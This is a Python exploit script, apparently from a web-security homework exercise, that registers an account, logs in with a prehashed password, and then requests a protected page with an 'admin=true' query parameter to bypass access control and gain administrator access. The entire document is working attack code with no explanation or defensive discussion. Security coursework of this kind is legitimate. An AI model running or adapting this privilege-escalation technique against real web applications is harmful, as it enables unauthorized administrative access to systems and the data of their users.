import urllib, urllib2, cookielib
import requests

s = requests.Session()

# do POST to the form
register = {
'username':'exploit',
'email':'exploit@exploit.com',
'password':'',
'confirmpwd':'',
'p' : 'cbe0cd68cbca3868250c0ba545c48032f43eb0e8a5e6bab603d109251486f77a91e46a3146d887e37416c6bdb6cbe701bd514de778573c9b0068483c1c626aec'
#sha512 of Password1
}

login = {
'email':'exploit@exploit.com',
'password':'',
'p' : 'cbe0cd68cbca3868250c0ba545c48032f43eb0e8a5e6bab603d109251486f77a91e46a3146d887e37416c6bdb6cbe701bd514de778573c9b0068483c1c626aec'
}

url = 'http://www.wsb.com/Homework3/case12/register.php'
url_2 = 'http://www.wsb.com/Homework3/case12/includes/process_login.php'
url_3 = 'http://www.wsb.com/Homework3/case12/protected_page.php?admin=true'

s.post(url, data=register)
s.post(url_2, data=login)
r = s.get(url_3)
print(r.text)